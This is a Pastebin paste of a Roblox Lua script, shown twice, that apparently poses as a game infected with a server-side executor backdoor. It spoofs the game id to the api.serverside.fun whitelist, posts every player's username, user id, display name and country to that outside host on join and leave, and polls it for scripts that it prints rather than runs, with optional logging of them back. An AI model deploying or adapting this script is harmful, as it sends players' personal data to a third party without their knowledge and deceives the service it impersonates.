Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- How to use this:
- - Fill out the settings (I suggest you leave SCRIPT_LOGGING on)
- - Create a game with this inserted into it (must be published & running on Roblox, no studio)
- - Done! :)
- ]]
- -- Settings
- local WHITELIST_USERNAME = "" -- Roblox username (whitelisted)
- local WHITELIST_USER_ID = -1-- Roblox user id (whitelisted)
- local WHITELIST_GAME_ID = game.GameId -- Roblox game id (fakes what game your in)
- local SCRIPT_LOGGING = true -- Whether you want scripts executed to be logged to the serverside.fun (WARNING: POTENTIALLY DANGEROUS!)
- -- Variables
- local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
- local LocalisationService = game:GetService("LocalizationService")
- local HttpService = game:GetService("HttpService")
- local Players = game:GetService("Players")
- -- Stub
- local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. WHITELIST_USER_ID .. "/" .. tostring(WHITELIST_GAME_ID))
- local user_data = HttpService:JSONDecode(response)
- print(response) -- Used for testing (check output in server console)
- if user_data.whitelisted ~= false then
- local function getPlayerData()
- local playerData = {}
- for i, v in ipairs(Players:GetPlayers()) do
- local country = "Unknown"
- pcall(function()
- country = LocalisationService:GetCountryRegionForPlayerAsync(v)
- end)
- table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
- end
- return playerData
- end
- local function postPlayerData()
- task.wait(0.5)
- if Players:FindFirstChild(WHITELIST_USERNAME) then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = WHITELIST_USER_ID}))
- end
- end
- local posted_removing_1 = true
- local posted_removing_2 = false
- local function postPlayerRemovingData()
- task.wait(1)
- if Players:FindFirstChild(WHITELIST_USERNAME) and posted_removing_1 == true then
- postPlayerData()
- else
- posted_removing_1 = false
- if posted_removing_2 == false then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = WHITELIST_USER_ID}))
- posted_removing_2 = true
- end
- end
- end
- pcall(function()
- postPlayerData()
- Players.PlayerAdded:Connect(postPlayerData)
- Players.PlayerRemoving:Connect(postPlayerRemovingData)
- end)
- -- Premium script polling
- if user_data.type ~= "NORMAL" then
- pcall(function()
- local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. WHITELIST_USER_ID))
- for i, v in ipairs(premium_script_poll_data.scripts) do
- pcall(function()
- if v == "r6()" then
- print("premium r6 stub (3436957371)")
- elseif v == "re()" then
- print("premium reset stub (load character)")
- elseif v:match("USERNAME") then
- print("premium hub/custom stub (" .. tostring(v) .. ")")
- else
- print("premium custom stub (" .. tostring(v) .. ")")
- end
- end)
- end
- end)
- end
- -- Normal script polling
- local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. WHITELIST_USER_ID
- while true do
- local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
- if success then
- local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
- if success_2 then
- if error_2 and error_2["script"] then
- if Players:FindFirstChild(WHITELIST_USERNAME) then
- local polled_script = error_2["script"].script
- if WHITELIST_USER_ID == tonumber(error_2["script"].robloxId) then
- if polled_script == "r6()" then
- print("r6 stub (3436957371)")
- elseif polled_script == "re()" then
- print("reset stub (load character)")
- elseif polled_script:match("USERNAME") then
- print("hub/custom stub (" .. tostring(polled_script) .. ")")
- else
- print("custom stub (" .. tostring(polled_script) .. ")")
- end
- if SCRIPT_LOGGING then
- pcall(function()
- HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
- ["script"] = polled_script,
- ["robloxId"] = tostring(WHITELIST_USER_ID),
- ["gameId"] = tostring(WHITELIST_GAME_ID)
- }))
- end)
- end
- end
- end
- end
- end
- end
- task.wait()
- end
- end
Advertisement
Comments
-
- --[[
- How to use this:
- - Fill out the settings (I suggest you leave SCRIPT_LOGGING on)
- - Create a game with this inserted into it (must be published & running on Roblox, no studio)
- - Done! :)
- ]]
- -- Settings
- local WHITELIST_USERNAME = "" -- Roblox username (whitelisted)
- local WHITELIST_USER_ID = -1-- Roblox user id (whitelisted)
- local WHITELIST_GAME_ID = game.GameId -- Roblox game id (fakes what game your in)
- local SCRIPT_LOGGING = true -- Whether you want scripts executed to be logged to the serverside.fun (WARNING: POTENTIALLY DANGEROUS!)
- -- Variables
- local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
- local LocalisationService = game:GetService("LocalizationService")
- local HttpService = game:GetService("HttpService")
- local Players = game:GetService("Players")
- -- Stub
- local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. WHITELIST_USER_ID .. "/" .. tostring(WHITELIST_GAME_ID))
- local user_data = HttpService:JSONDecode(response)
- print(response) -- Used for testing (check output in server console)
- if user_data.whitelisted ~= false then
- local function getPlayerData()
- local playerData = {}
- for i, v in ipairs(Players:GetPlayers()) do
- local country = "Unknown"
- pcall(function()
- country = LocalisationService:GetCountryRegionForPlayerAsync(v)
- end)
- table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
- end
- return playerData
- end
- local function postPlayerData()
- task.wait(0.5)
- if Players:FindFirstChild(WHITELIST_USERNAME) then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = WHITELIST_USER_ID}))
- end
- end
- local posted_removing_1 = true
- local posted_removing_2 = false
- local function postPlayerRemovingData()
- task.wait(1)
- if Players:FindFirstChild(WHITELIST_USERNAME) and posted_removing_1 == true then
- postPlayerData()
- else
- posted_removing_1 = false
- if posted_removing_2 == false then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = WHITELIST_USER_ID}))
- posted_removing_2 = true
- end
- end
- end
- pcall(function()
- postPlayerData()
- Players.PlayerAdded:Connect(postPlayerData)
- Players.PlayerRemoving:Connect(postPlayerRemovingData)
- end)
- -- Premium script polling
- if user_data.type ~= "NORMAL" then
- pcall(function()
- local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. WHITELIST_USER_ID))
- for i, v in ipairs(premium_script_poll_data.scripts) do
- pcall(function()
- if v == "r6()" then
- print("premium r6 stub (3436957371)")
- elseif v == "re()" then
- print("premium reset stub (load character)")
- elseif v:match("USERNAME") then
- print("premium hub/custom stub (" .. tostring(v) .. ")")
- else
- print("premium custom stub (" .. tostring(v) .. ")")
- end
- end)
- end
- end)
- end
- -- Normal script polling
- local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. WHITELIST_USER_ID
- while true do
- local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
- if success then
- local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
- if success_2 then
- if error_2 and error_2["script"] then
- if Players:FindFirstChild(WHITELIST_USERNAME) then
- local polled_script = error_2["script"].script
- if WHITELIST_USER_ID == tonumber(error_2["script"].robloxId) then
- if polled_script == "r6()" then
- print("r6 stub (3436957371)")
- elseif polled_script == "re()" then
- print("reset stub (load character)")
- elseif polled_script:match("USERNAME") then
- print("hub/custom stub (" .. tostring(polled_script) .. ")")
- else
- print("custom stub (" .. tostring(polled_script) .. ")")
- end
- if SCRIPT_LOGGING then
- pcall(function()
- HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
- ["script"] = polled_script,
- ["robloxId"] = tostring(WHITELIST_USER_ID),
- ["gameId"] = tostring(WHITELIST_GAME_ID)
- }))
- end)
- end
- end
- end
- end
- end
- end
- task.wait()
- end
- end
Add Comment
Please, Sign In to add comment
Advertisement